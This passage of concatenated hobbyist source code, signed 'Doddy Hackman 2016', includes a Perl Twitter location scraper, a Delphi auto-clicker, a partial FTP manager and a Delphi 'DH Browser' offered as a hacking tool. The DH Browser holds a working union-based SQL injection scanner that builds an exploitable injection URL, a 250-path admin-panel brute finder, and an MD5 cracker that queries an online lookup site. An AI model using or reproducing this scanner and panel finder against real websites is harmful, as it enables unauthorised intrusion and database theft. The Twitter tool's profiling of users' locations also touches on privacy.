		printear_titulo("\n\n[+] Locations Loaded\n");
		if($savefile) {
			savefile($savefile,"\n[+] Locations Loaded\n");
		}
	}
	
}

# More Functions

sub get_token {
	my $code = $nave->request(POST(
		"https://api.twitter.com/oauth2/token",
		"Content-Type" => "application/x-www-form-urlencoded;charset=UTF-8",
		"Authorization" => "Basic $bearer_token_64",
		Content => { "grant_type" => "client_credentials" }
	))->content;
	my $resultado = JSON->new->decode($code);
	my $token = $resultado->{"access_token"};
	return $token;
}

sub get_code {
	my $url = shift;
	my $code = $nave->request(GET($url,"Authorization" => "Bearer " . get_token()))->content;
	return $code;
}

sub parse_date {
    my $date = shift;        
    $time = str2time($date);    
    my $datetime = DateTime->from_epoch(epoch => $time);
    return $datetime->mdy("/")." ".$datetime->hms;
}

sub toma {
    return $nave->get( $_[0] )->content;
}

sub savefile {
	my ($filename,$text) = @_;
	open( SAVE, ">>" . $filename );
	print SAVE $text . "\n";
	close SAVE;
}

sub printear {
    cprint( "\x036" . $_[0] . "\x030" );
}

sub printear_logo {
    cprint( "\x037" . $_[0] . "\x030" );
}

sub printear_titulo {
    cprint( "\x0310" . $_[0] . "\x030" );
}

sub printear_rojo {
    cprint( "\x034" . $_[0] . "\x030" );
}

sub printear_azul {
    cprint( "\x033" . $_[0] . "\x030" );
}

sub sintax {
    printear("\n[+] Sintax : ");
    print "perl $0 <option> <value>\n";
    printear("\n[+] Options : \n\n");
    print "-profile : Show profile information\n";
    print "-apps : List apps in tweets\n";
    print "-locations : List locations in tweets\n";
    print "-username <username> : Set username to find\n";
	print "-count <count> : Set count to find\n";
	print "-savefile <filename> : Save results\n";
    printear("\n[+] Example : ");
    print "perl dh_twitter_locator.pl -profile -apps -locations -username test -count 800 -savefile results.txt\n";
    copyright();
}

sub head {
    printear_logo("\n-- == DH Twitter Locator 0.6 == --\n\n");
}

sub copyright {
    printear_logo("\n\n-- == (C) Doddy Hackman 2016 == --\n\n");
    exit(1);
}

#The End ?

// DH Auto Clicker 0.6
// (C) Doddy Hackman 2016

unit auto_clicker;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.ExtCtrls, Vcl.StdCtrls,
  Vcl.ComCtrls, Math, Vcl.ImgList, Vcl.Imaging.pngimage;

type
  TFormHome = class(TForm)
    logo: TImage;
    gbMousePosition: TGroupBox;
    lblXPosition: TLabel;
    txt_X_Now: TEdit;
    lblYPosition: TLabel;
    txt_Y_Now: TEdit;
    gbOptions: TGroupBox;
    lblType: TLabel;
    cmbType: TComboBox;
    lblSleep: TLabel;
    txtSleep: TEdit;
    lblXSelect: TLabel;
    txt_X_Select: TEdit;
    lblYSelect: TLabel;
    txt_Y_Select: TEdit;
    lblSeconds: TLabel;
    btnGetPosition: TButton;
    cbUseRandomClicks: TCheckBox;
    btnStart: TButton;
    btnStop: TButton;
    status: TStatusBar;
    tmGetMousePosition: TTimer;
    tmClicker: TTimer;
    notificar: TTrayIcon;
    tmHookKeys: TTimer;
    ilIconos: TImageList;
    procedure tmGetMousePositionTimer(Sender: TObject);
    procedure btnGetPositionClick(Sender: TObject);
    procedure tmClickerTimer(Sender: TObject);
    procedure notificarClick(Sender: TObject);
    procedure tmHookKeysTimer(Sender: TObject);
    procedure btnStartClick(Sender: TObject);
    procedure btnStopClick(Sender: TObject);
  private
    { Private declarations }
  public
    procedure capturar_posicion_mouse();
    procedure iniciar_clicker();
    procedure desactivar_clicker();
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}

function message_box(title, message_text, type_message: string): string;
begin
  if not(title = '') and not(message_text = '') and not(type_message = '') then
  begin
    try
      begin
        if (type_message = 'Information') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end
        else if (type_message = 'Warning') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONWARNING);
        end
        else if (type_message = 'Question') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONQUESTION);
        end
        else if (type_message = 'Error') then
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONERROR);
        end
        else
        begin
          MessageBox(FormHome.Handle, PChar(message_text), PChar(title),
            MB_ICONINFORMATION);
        end;
        Result := '[+] MessageBox : OK';
      end;
    except
      begin
        Result := '[-] Error';
      end;
    end;
  end
  else
  begin
    Result := '[-] Error';
  end;
end;

procedure mouse_click(option: string);
// Function based in : http://www.swissdelphicenter.ch/torry/showcode.php?id=360
// Thanks to Thomas Stutz
begin
  if (option = 'left') then
  begin
    mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
    mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
  end
  else if (option = 'right') then
  begin
    mouse_event(MOUSEEVENTF_RIGHTDOWN, 0, 0, 0, 0);
    mouse_event(MOUSEEVENTF_RIGHTUP, 0, 0, 0, 0);
  end
  else if (option = 'middle') then
  begin
    mouse_event(MOUSEEVENTF_MIDDLEDOWN, 0, 0, 0, 0);
    mouse_event(MOUSEEVENTF_MIDDLEUP, 0, 0, 0, 0);
  end
  else if (option = 'double') then
  begin
    mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
    mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
    GetDoubleClickTime;
    mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
    mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
  end
  else
  begin
    mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
    mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
  end;
end;

procedure TFormHome.iniciar_clicker();
begin
  if (cmbType.ItemIndex <> -1) and not(txt_X_Select.Text = '') and
    not(txt_Y_Select.Text = '') and not(txtSleep.Text = '') then
  begin
    tmClicker.Interval := StrToInt(txtSleep.Text) * 1000;
    tmClicker.Enabled := True;
    status.Panels[0].Text := '[+] Working ...';
    FormHome.Update;
    notificar.BalloonTitle := 'DH Auto Clicker';
    notificar.BalloonHint := 'Clicker Started';
    notificar.ShowBalloonHint;
  end
  else
  begin
    message_box('DH Auto Clicker 0.6', 'Complete the options', 'Warning');
  end;
end;

procedure TFormHome.desactivar_clicker();
begin
  tmClicker.Enabled := False;
  status.Panels[0].Text := '[+] Stopped';
  FormHome.Update;
  notificar.BalloonTitle := 'DH Auto Clicker';
  notificar.BalloonHint := 'Clicker Stopped';
  notificar.ShowBalloonHint;
end;

procedure TFormHome.btnStartClick(Sender: TObject);
begin
  iniciar_clicker();
end;

procedure TFormHome.btnStopClick(Sender: TObject);
begin
  desactivar_clicker();
end;

procedure TFormHome.capturar_posicion_mouse();
begin
  txt_X_Select.Text := txt_X_Now.Text;
  txt_Y_Select.Text := txt_Y_Now.Text;
  status.Panels[0].Text := '[+] Position updated';
  FormHome.Update;
  notificar.BalloonTitle := 'DH Auto Clicker';
  notificar.BalloonHint := 'Position updated';
  notificar.ShowBalloonHint;
end;

procedure TFormHome.notificarClick(Sender: TObject);
begin
  Show();
  WindowState := wsNormal;
  Application.BringToFront();
end;

procedure TFormHome.btnGetPositionClick(Sender: TObject);
begin
  capturar_posicion_mouse();
end;

procedure TFormHome.tmGetMousePositionTimer(Sender: TObject);
var
  ubicacion: tPoint;
begin
  ubicacion := Mouse.CursorPos;
  txt_X_Now.Text := IntToStr(ubicacion.X);
  txt_Y_Now.Text := IntToStr(ubicacion.Y);
end;

procedure TFormHome.tmHookKeysTimer(Sender: TObject);
var
  i: integer;
  re: Longint;
begin
  for i := 119 to 124 do
  begin
    re := GetAsyncKeyState(i);
    If re = -32767 then
    Begin
      if (i = 120) then
      begin
        capturar_posicion_mouse();
      end
      else if (i = 122) then
      begin
        iniciar_clicker();
      end
      else if (i = 123) then
      begin
        desactivar_clicker();
      end
      else
      begin
        // ?
      end;
    End;
  End;
end;

procedure TFormHome.tmClickerTimer(Sender: TObject);
var
  tipo: integer;
  nombre_tipo: string;
  X: integer;
  Y: integer;
  time_sleep: integer;
begin

  tipo := cmbType.ItemIndex;
  nombre_tipo := '';

  if (tipo = 0) then
  begin
    nombre_tipo := 'left';
  end
  else if (tipo = 1) then
  begin
    nombre_tipo := 'middle';
  end
  else if (tipo = 2) then
  begin
    nombre_tipo := 'right';
  end
  else if (tipo = 3) then
  begin
    nombre_tipo := 'double';
  end
  else
  begin
    nombre_tipo := 'left';
  end;

  X := 0;
  Y := 0;

  if (cbUseRandomClicks.Checked) then
  begin
    X := RandomRange(1, 2000);
    Y := RandomRange(1, 1000);
  end
  else
  begin
    X := StrToInt(txt_X_Select.Text);
    Y := StrToInt(txt_Y_Select.Text);
  end;

  time_sleep := StrToInt(txtSleep.Text) * 1000;

  SetCursorPos(X, Y);

  mouse_click(nombre_tipo);

end;

end.

// The End ?

// DH Browser 1.0
// (C) Doddy Hackman 2016
// Credits :
// Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242
// FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143
// Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

unit dh;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.OleCtrls, SHDocVw,
  Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.ComCtrls, mshtml, Vcl.Menus,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, PerlRegEx,
  IdMultipartFormData, Vcl.ImgList, Vcl.Styles.Utils.ComCtrls,
  Vcl.Styles.Utils.Menus,
  Vcl.Styles.Utils.SysStyleHook,
  Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
  Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;

type
  TFormHome = class(TForm)
    gbEnterPage: TGroupBox;
    btnEnter: TButton;
    gbHeaders: TGroupBox;
    mmHeaders: TMemo;
    GroupBox3: TGroupBox;
    GroupBox4: TGroupBox;
    gbAbout: TGroupBox;
    txtURL: TEdit;
    imgLogo: TImage;
    imgAbout: TImage;
    btnSQLI_Scanner: TButton;
    btnAdminFinder: TButton;
    btnCrack_MD5: TButton;
    btnSearch_for_text: TButton;
    cbUse_This_Headers: TCheckBox;
    browser: TWebBrowser;
    status: TStatusBar;
    progreso: TProgressBar;
    mmSource: TMemo;
    menu: TPopupMenu;
    ShowSourceHTML1: TMenuItem;
    ShowBrowser1: TMenuItem;
    nave: TIdHTTP;
    buscar_codigo: TFindDialog;
    ilIconos: TImageList;
    lblAbout: TLabel;
    procedure btnEnterClick(Sender: TObject);
    procedure browserDownloadComplete(Sender: TObject);
    procedure browserProgressChange(ASender: TObject;
      Progress, ProgressMax: Integer);
    procedure ShowSourceHTML1Click(Sender: TObject);
    procedure ShowBrowser1Click(Sender: TObject);
    procedure btnSQLI_ScannerClick(Sender: TObject);
    procedure btnAdminFinderClick(Sender: TObject);
    procedure btnCrack_MD5Click(Sender: TObject);
    procedure btnSearch_for_textClick(Sender: TObject);
    procedure buscar_codigoFind(Sender: TObject);
    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}

procedure TFormHome.btnAdminFinderClick(Sender: TObject);
const
  paginas: array [1 .. 250] of string = ('admin/admin.asp', 'admin/login.asp',
    'admin/index.asp', 'admin/admin.aspx', 'admin/login.aspx',
    'admin/index.aspx', 'admin/webmaster.asp', 'admin/webmaster.aspx',
    'asp/admin/index.asp', 'asp/admin/index.aspx', 'asp/admin/admin.asp',
    'asp/admin/admin.aspx', 'asp/admin/webmaster.asp',
    'asp/admin/webmaster.aspx', 'admin/', 'login.asp', 'login.aspx',
    'admin.asp', 'admin.aspx', 'webmaster.aspx', 'webmaster.asp',
    'login/index.asp', 'login/index.aspx', 'login/login.asp',
    'login/login.aspx', 'login/admin.asp', 'login/admin.aspx',
    'administracion/index.asp', 'administracion/index.aspx',
    'administracion/login.asp', 'administracion/login.aspx',
    'administracion/webmaster.asp', 'administracion/webmaster.aspx',
    'administracion/admin.asp', 'administracion/admin.aspx', 'php/admin/',
    'admin/admin.php', 'admin/index.php', 'admin/login.php', 'admin/system.php',
    'admin/ingresar.php', 'admin/administrador.php', 'admin/default.php',
    'administracion/', 'administracion/index.php', 'administracion/login.php',
    'administracion/ingresar.php', 'administracion/admin.php',
    'administration/', 'administration/index.php', 'administration/login.php',
    'administrator/index.php', 'administrator/login.php',
    'administrator/system.php', 'system/', 'system/login.php', 'admin.php',
    'login.php', 'administrador.php', 'administration.php', 'administrator.php',
    'admin1.html', 'admin1.php', 'admin2.php', 'admin2.html', 'yonetim.php',
    'yonetim.html', 'yonetici.php', 'yonetici.html', 'adm/',
    'admin/account.php', 'admin/account.html', 'admin/index.html',
    'admin/login.html', 'admin/home.php', 'admin/controlpanel.html',
    'admin/controlpanel.php', 'admin.html', 'admin/cp.php', 'admin/cp.html',
    'cp.php', 'cp.html', 'administrator/', 'administrator/index.html',
    'administrator/login.html', 'administrator/account.html',
    'administrator/account.php', 'administrator.html', 'login.html',
    'modelsearch/login.php', 'moderator.php', 'moderator.html',
    'moderator/login.php', 'moderator/login.html', 'moderator/admin.php',
    'moderator/admin.html', 'moderator/', 'account.php', 'account.html',
    'controlpanel/', 'controlpanel.php', 'controlpanel.html',
    'admincontrol.php', 'admincontrol.html', 'adminpanel.php',
    'adminpanel.html', 'admin1.asp', 'admin2.asp', 'yonetim.asp',
    'yonetici.asp', 'admin/account.asp', 'admin/home.asp',
    'admin/controlpanel.asp', 'admin/cp.asp', 'cp.asp',
    'administrator/index.asp', 'administrator/login.asp',
    'administrator/account.asp', 'administrator.asp', 'modelsearch/login.asp',
    'moderator.asp', 'moderator/login.asp', 'moderator/admin.asp',
    'account.asp', 'controlpanel.asp', 'admincontrol.asp', 'adminpanel.asp',
    'fileadmin/', 'fileadmin.php', 'fileadmin.asp', 'fileadmin.html',
    'administration.html', 'sysadmin.php', 'sysadmin.html', 'phpmyadmin/',
    'myadmin/', 'sysadmin.asp', 'sysadmin/', 'ur-admin.asp', 'ur-admin.php',
    'ur-admin.html', 'ur-admin/', 'Server.php', 'Server.html', 'Server.asp',
    'Server/', 'wpadmin/', 'administr8.php', 'administr8.html', 'administr8/',
    'administr8.asp', 'webadmin/', 'webadmin.php', 'webadmin.asp',
    'webadmin.html', 'administratie/', 'admins/', 'admins.php', 'admins.asp',
    'admins.html', 'administrivia/', 'Database_Administration/', 'WebAdmin/',
    'useradmin/', 'sysadmins/', 'admin1/', 'systemadministration/',
    'administrators/', 'pgadmin/', 'directadmin/', 'staradmin/',
    'ServerAdministrator/', 'SysAdmin/', 'administer/', 'LiveUser_Admin/',
    'sysadmin/', 'typo3/', 'panel/', 'cpanel/', 'cPanel/', 'cpanel_file/',
    'platz_login/', 'rcLogin/', 'blogindex/', 'formslogin/', 'autologin/',
    'support_login/', 'meta_login/', 'manuallogin/', 'simpleLogin/',
    'loginflat/', 'utility_login/', 'showlogin/', 'memlogin/', 'members/',
    'login-redirect/', 'sublogin/', 'wplogin/', 'login1/', 'dirlogin/',
    'login_db/', 'xlogin/', 'smblogin/', 'customer_login/', 'UserLogin/',
    'loginus/', 'acct_login/', 'admin_area/', 'bigadmin/', 'project-admins/',
    'phppgadmin/', 'pureadmin/', 'sqladmin/', 'radmind/', 'openvpnadmin/',
    'wizmysqladmin/', 'vadmind/', 'ezsqliteadmin/', 'hpwebjetadmin/',
    'newsadmin/', 'adminpro/', 'Lotus_Domino_Admin/', 'bbadmin/', 'vmailadmin/',
    'Indy_admin/', 'ccp14admin/', 'irc-macadmin/', 'banneradmin/', 'sshadmin/',
    'phpldapadmin/', 'macadmin/', 'administratoraccounts/', 'admin4_account/',
    'admin4_colon/', 'radmind1/', 'SuperAdmin/', 'AdminTools/', 'cmsadmin/',
    'SysAdmin2/', 'globes_admin/', 'cadmins/', 'phpSQLiteAdmin/',
    'navSiteAdmin/', 'server_admin_small/', 'logo_sysadmin/', 'server/',
    'database_administration/', 'power_user/', 'system_administration/',
    'ss_vms_admin_sm/');
var
  i: Integer;
  control: Integer;

var
  cabeceras: OLEVariant;
  uno: OLEVariant;
  dos: OLEVariant;
  tres: OLEVariant;

begin

  if not(txtURL.Text = '') then
  begin
    control := 0;

    status.Panels[0].Text := '[+] Finding Panel ....';
    FormHome.status.Update;

    for i := Low(paginas) to High(paginas) do

      if (control = 1) then
      begin
        Abort;
      end
      else
      begin

        try

          status.Panels[0].Text := '[+] Testing : ' + paginas[i];
          FormHome.status.Update;

          nave.Get(txtURL.Text + '/' + paginas[i]);
          if nave.ResponseCode = 200 then
          begin

            txtURL.Text := txtURL.Text + '/' + paginas[i];

            uno := navNoReadFromCache or navNoWriteToCache;
            dos := '';
            tres := '';

            if (cbUse_This_Headers.Checked) then
            begin
              cabeceras := mmHeaders.Text;
              browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
            end
            else
            begin
              cabeceras := '';
              browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
            end;
            control := 1;
            status.Panels[0].Text := '[+] Panel Found';
            FormHome.status.Update;
            MessageBox(0, 'Panel Found', 'DH Browser 1.0', MB_ICONINFORMATION);
            Abort;
          end;
        except
          on E: EIdHttpProtocolException do;
          on E: Exception do;
        end;

      end;

    status.Panels[0].Text := '[-] Panel not found';
    FormHome.status.Update;
    MessageBox(0, 'Panel not found', 'DH Browser 1.0', MB_ICONERROR);
  end
  else
  begin
    MessageBox(0, 'Enter URL', 'DH Browser 1.0', MB_ICONINFORMATION);
  end;

end;

procedure TFormHome.browserDownloadComplete(Sender: TObject);
var
  buscador: IHTMLElement;
begin

  progreso.Position := 0;

  status.Panels[0].Text := '[+] Page loaded';
  FormHome.status.Update;

  // Get HTML based on : http://delphi.about.com/od/adptips2005/qt/webbrowserhtml.htm

  begin

    try
      begin

        mmSource.Clear;

        buscador := (browser.Document AS IHTMLDocument2).body;

        while not(buscador.parentElement = nil) do
        begin
          buscador := buscador.parentElement;
        end;
        mmSource.Lines.Add(buscador.outerHTML);
      end;
    except
      // ??
    end;
  end;
end;

procedure TFormHome.browserProgressChange(ASender: TObject;
  Progress, ProgressMax: Integer);
begin
  progreso.Max := ProgressMax;
  progreso.Position := Progress;
end;

procedure TFormHome.buscar_codigoFind(Sender: TObject);
// FindText based on : http://delphi.cjcsoft.net/viewthread.php?tid=47143

var
  aca: PChar;
  aca2: PChar;
  acatoy: PChar;
  acatoy2: Word;

begin

  With Sender as TFindDialog do

  begin

    GetMem(aca2, Length(FindText) + 1);
    StrPCopy(aca2, FindText);

    acatoy2 := mmSource.GetTextLen + 1;
    GetMem(aca, acatoy2);

    mmSource.GetTextBuf(aca, acatoy2);

    acatoy := aca + mmSource.SelStart + mmSource.SelLength;
    acatoy := StrPos(acatoy, aca2);

    if not(acatoy = NIL) then
    begin
      mmSource.SelStart := acatoy - aca;
      mmSource.SelLength := Length(FindText);
    end;

    mmSource.SetFocus;

  end;

end;

procedure TFormHome.btnCrack_MD5Click(Sender: TObject);
var
  md5: string;
  datos: TIdMultiPartFormDataStream;
  code: string;
  regex_check: TPerlRegEx;
  cracked: string;
begin

  md5 := InputBox('DH Browser 1.0', 'MD5 : ', '');

  if not(md5 = '') then
  begin
    regex_check := TPerlRegEx.Create();
    datos := TIdMultiPartFormDataStream.Create;
    datos.AddFormField('pass', md5);
    datos.AddFormField('option', 'hash2text');
    datos.AddFormField('send', 'Submit');

    status.Panels[0].Text := '[+] Cracking ...';
    FormHome.status.Update;

    code := nave.Post('http://md5online.net/index.php', datos);

    regex_check.regex :=
      '<center><p>md5 :<b>(.*?)</b> <br>pass : <b>(.*?)</b></p>';
    regex_check.Subject := code;

    if regex_check.Match then
    begin
      cracked := regex_check.Groups[2];
      status.Panels[0].Text := '[+] MD5 Cracked : ' + cracked;
      FormHome.status.Update;
      MessageBox(0, PChar('MD5 Cracked : ' + cracked), 'DH Browser 1.0',
        MB_ICONINFORMATION);

    end
    else
    begin
      status.Panels[0].Text := '[-] Not found';
      FormHome.status.Update;
      MessageBox(0, 'Not found', 'DH Browser 1.0', MB_ICONERROR);
    end;
  end;

end;

procedure TFormHome.btnEnterClick(Sender: TObject);
// Navigate based on : http://www.swissdelphicenter.ch/torry/showcode.php?id=2242

var

  cabeceras: OLEVariant;
  uno: OLEVariant;
  dos: OLEVariant;
  tres: OLEVariant;

begin

  uno := navNoReadFromCache or navNoWriteToCache;
  dos := '';
  tres := '';

  if (cbUse_This_Headers.Checked) then
  begin
    cabeceras := mmHeaders.Text;
    browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
  end
  else
  begin
    cabeceras := '';
    browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
  end;

end;

procedure TFormHome.FormCreate(Sender: TObject);
begin
  UseLatestCommonDialogs := False;
end;

procedure TFormHome.btnSearch_for_textClick(Sender: TObject);
begin
  buscar_codigo.Execute;
end;

procedure TFormHome.ShowBrowser1Click(Sender: TObject);
begin
  browser.Visible := True;
  mmSource.Visible := False;
end;

procedure TFormHome.ShowSourceHTML1Click(Sender: TObject);
begin
  browser.Visible := False;
  mmSource.Visible := True;
end;

procedure TFormHome.btnSQLI_ScannerClick(Sender: TObject);
var
  pass1: string;
  pass2: string;
  code: string;
  urltest: string;
  urlgen: string;
  full: string;
  codedos: string;
  i: Integer;
  regex_check: TPerlRegEx;

var

  cabeceras: OLEVariant;
  uno: OLEVariant;
  dos: OLEVariant;
  tres: OLEVariant;

begin

  if not(txtURL.Text = '') then
  begin
    regex_check := TPerlRegEx.Create();

    status.Panels[0].Text := '[+] SQLI Scanning ...';
    FormHome.status.Update;

    pass1 := '+';
    pass2 := '--';

    urltest := 'concat(0x4b30425241,1,0x4b30425241)';

    status.Panels[0].Text := '[+] Checking ...';
    FormHome.status.Update;

    code := nave.Get(txtURL.Text + '1' + pass1 + 'and' + pass1 + '1=1' + pass2);

    codedos := nave.Get(txtURL.Text + '1' + pass1 + 'and' + pass1 +
      '1=0' + pass2);

    if not(code = codedos) then
    begin

      status.Panels[0].Text := '[+] Finding columns number';
      FormHome.status.Update;

      urltest := '1' + pass1 + 'and' + pass1 + '1=0' + pass1 + 'union' + pass1 +
        'select' + pass1 + 'concat(0x4b30425241,1,0x4b30425241)';
      urlgen := '1';
      for i := 2 to 36 do
      begin

        status.Panels[0].Text := '[+] Columns Length : ' + IntToStr(i);
        FormHome.status.Update;
        urltest := urltest + ',concat(0x4b30425241,' + IntToStr(i) +
          ',0x4b30425241)';
        urlgen := urlgen + ',' + IntToStr(i);
        code := nave.Get(txtURL.Text + urltest + pass2);

        regex_check.regex := 'K0BRA(.*?)K0BRA';
        regex_check.Subject := code;

        if regex_check.Match then
        begin

          urlgen := StringReplace(urlgen, regex_check.Groups[1], 'hackman', []);
          full := txtURL.Text + '1' + pass1 + 'and' + pass1 + '1=0' + pass1 +
            'union' + pass1 + 'select' + pass1 + urlgen;

          txtURL.Text := full;

          uno := navNoReadFromCache or navNoWriteToCache;
          dos := '';
          tres := '';

          if (cbUse_This_Headers.Checked) then
          begin
            cabeceras := mmHeaders.Text;
            browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
          end
          else
          begin
            cabeceras := '';
            browser.Navigate(txtURL.Text, uno, dos, tres, cabeceras);
          end;
          status.Panels[0].Text := '[+] SQI Scanner Finished';
          FormHome.status.Update;
          MessageBox(0, 'SQI Scanner Finished', 'DH Browser 1.0',
            MB_ICONINFORMATION);

          Abort;

        end;

      end;
      status.Panels[0].Text := '[-] Columns length not found';
      FormHome.status.Update;
      MessageBox(0, 'Columns length not found', 'DH Browser 1.0', MB_ICONERROR);
    end
    else
    begin
      status.Panels[0].Text := '[-] Not vulnerable';
      FormHome.status.Update;
      MessageBox(0, 'Not vulnerable', 'DH Browser 1.0', MB_ICONERROR);
    end;

    status.Panels[0].Text := '[+] Done';
    FormHome.status.Update;
  end
  else
  begin
    MessageBox(0, 'Enter URL', 'DH Browser 1.0', MB_ICONINFORMATION);
  end;

end;

end.

// The End ?

// FTP Manager 1.0
// (C) Doddy Hackman 2016

unit ftp;

interface

uses
  Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants,
  System.Classes, Vcl.Graphics,
  Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls, Vcl.ComCtrls,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdExplicitTLSClientServerBase, IdFTP, Shellapi, Vcl.ImgList, IdFTPList,
  Vcl.Imaging.pngimage, Vcl.ExtCtrls, Vcl.Menus, Vcl.Styles.Utils.ComCtrls,
  Vcl.Styles.Utils.Menus,
  Vcl.Styles.Utils.SysStyleHook,
  Vcl.Styles.Utils.SysControls, Vcl.Styles.Utils.Forms,
  Vcl.Styles.Utils.StdCtrls, Vcl.Styles.Utils.ScreenTips;

type
  TFormHome = class(TForm)
    gbFTP_Data: TGroupBox;
    lblHost: TLabel;
    txtHost: TEdit;
    lblUsername: TLabel;
    txtUsername: TEdit;
    lblPassword: TLabel;
    txtPassword: TEdit;
    btnConnect: TButton;
    gbMyFiles: TGroupBox;
    lblDirectory1: TLabel;
    txtMe_Directory: TEdit;
    btnListMe: TButton;
    lvLocalFiles: TListView;
    gbFTP_Files: TGroupBox;
    lblDirectory2: TLabel;
    txt_FTP_Directory: TEdit;
    btnList_FTP: TButton;
    lv_FTP_Files: TListView;
    btnUpload: TButton;
    btnDownload: TButton;
    directorios: TListBox;
    archivos: TListBox;
    status: TStatusBar;
    local_iconos: TImageList;
    ftp_client: TIdFTP;
    ftp_iconos: TImageList;
    progreso: TProgressBar;
    imgLogo: TImage;
    menu_local: TPopupMenu;
    MakeDirectory1: TMenuItem;
    Rename1: TMenuItem;
    Delete1: TMenuItem;
    Refresh1: TMenuItem;
    menu_ftp: TPopupMenu;
    MakeDirectory2: TMenuItem;
    Rename2: TMenuItem;
    Delete2: TMenuItem;
    Refresh2: TMenuItem;
    ilIconos: TImageList;
    procedure btnConnectClick(Sender: TObject);
    procedure btnListMeClick(Sender: TObject);
    procedure btnList_FTPClick(Sender: TObject);
    procedure btnUploadClick(Sender: TObject);
    procedure ftp_clientWork(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCount: Int64);
    procedure ftp_clientWorkBegin(ASender: TObject; AWorkMode: TWorkMode;
      AWorkCountMax: Int64);
    procedure ftp_clientWorkEnd(ASender: TObject; AWorkMode: TWorkMode);
    procedure btnDownloadClick(Sender: TObject);
    procedure lvLocalFilesDblClick(Sender: TObject);
    procedure lv_FTP_FilesDblClick(Sender: TObject);
    procedure MakeDirectory1Click(Sender: TObject);
    procedure Rename1Click(Sender: TObject);
    procedure Delete1Click(Sender: TObject);
    procedure Refresh1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure MakeDirectory2Click(Sender: TObject);
    procedure Rename2Click(Sender: TObject);
    procedure Delete2Click(Sender: TObject);
    procedure Refresh2Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  FormHome: TFormHome;

implementation

{$R *.dfm}

procedure listar(dirnownow: string; ListaDeArchivos: TListView;
  ListaDeIconos: TImageList);
var
  buscar: TSearchRec;
  Icon: TIcon;
  listate: TListItem;
  getdata: SHFILEINFO;
  dirnow: string;

begin

  if (DirectoryExists(dirnownow)) then
  begin
    ListaDeIconos.Clear;

    dirnow := StringReplace(dirnownow, '/', '\', [rfReplaceAll, rfIgnoreCase]);

    ListaDeArchivos.Items.Clear;
    Icon := TIcon.Create;
    ListaDeArchivos.Items.BeginUpdate;

    if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
    begin
      repeat
        if (buscar.Attr = faDirectory) then
        begin

          with ListaDeArchivos do
          begin

            if not(buscar.Name = '.') and not(buscar.Name = '..') then
            begin

              listate := ListaDeArchivos.Items.Add;

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                SizeOf(getdata), SHGFI_DISPLAYNAME);
              listate.Caption := getdata.szDisplayName;

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                SizeOf(getdata), SHGFI_TYPENAME);
              listate.SubItems.Add(getdata.szTypeName);

              SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
                SizeOf(getdata), SHGFI_ICON or SHGFI_SMALLICON);
              Icon.Handle := getdata.hIcon;
              listate.ImageIndex := ListaDeIconos.AddIcon(Icon);

              DestroyIcon(getdata.hIcon);

            end;
          end;

        end;
      until FindNext(buscar) <> 0;
      FindClose(buscar);
    end;

    if FindFirst(dirnow + '*.*', faAnyFile, buscar) = 0 then
    begin
      repeat
        if (buscar.Attr <> faDirectory) then
        begin

          with ListaDeArchivos do
          begin

            listate := ListaDeArchivos.Items.Add;

            SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
              SizeOf(getdata), SHGFI_DISPLAYNAME);
            listate.Caption := buscar.Name;

            SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
              SizeOf(getdata), SHGFI_TYPENAME);
            listate.SubItems.Add(getdata.szTypeName);

            SHGetFileInfo(PChar(dirnow + buscar.Name), 0, getdata,
              SizeOf(getdata), SHGFI_ICON or SHGFI_SMALLICON);
            Icon.Handle := getdata.hIcon;
            listate.ImageIndex := ListaDeIconos.AddIcon(Icon);

            DestroyIcon(getdata.hIcon);

          end;

        end

        until FindNext(buscar) <> 0;
        FindClose(buscar);
      end;

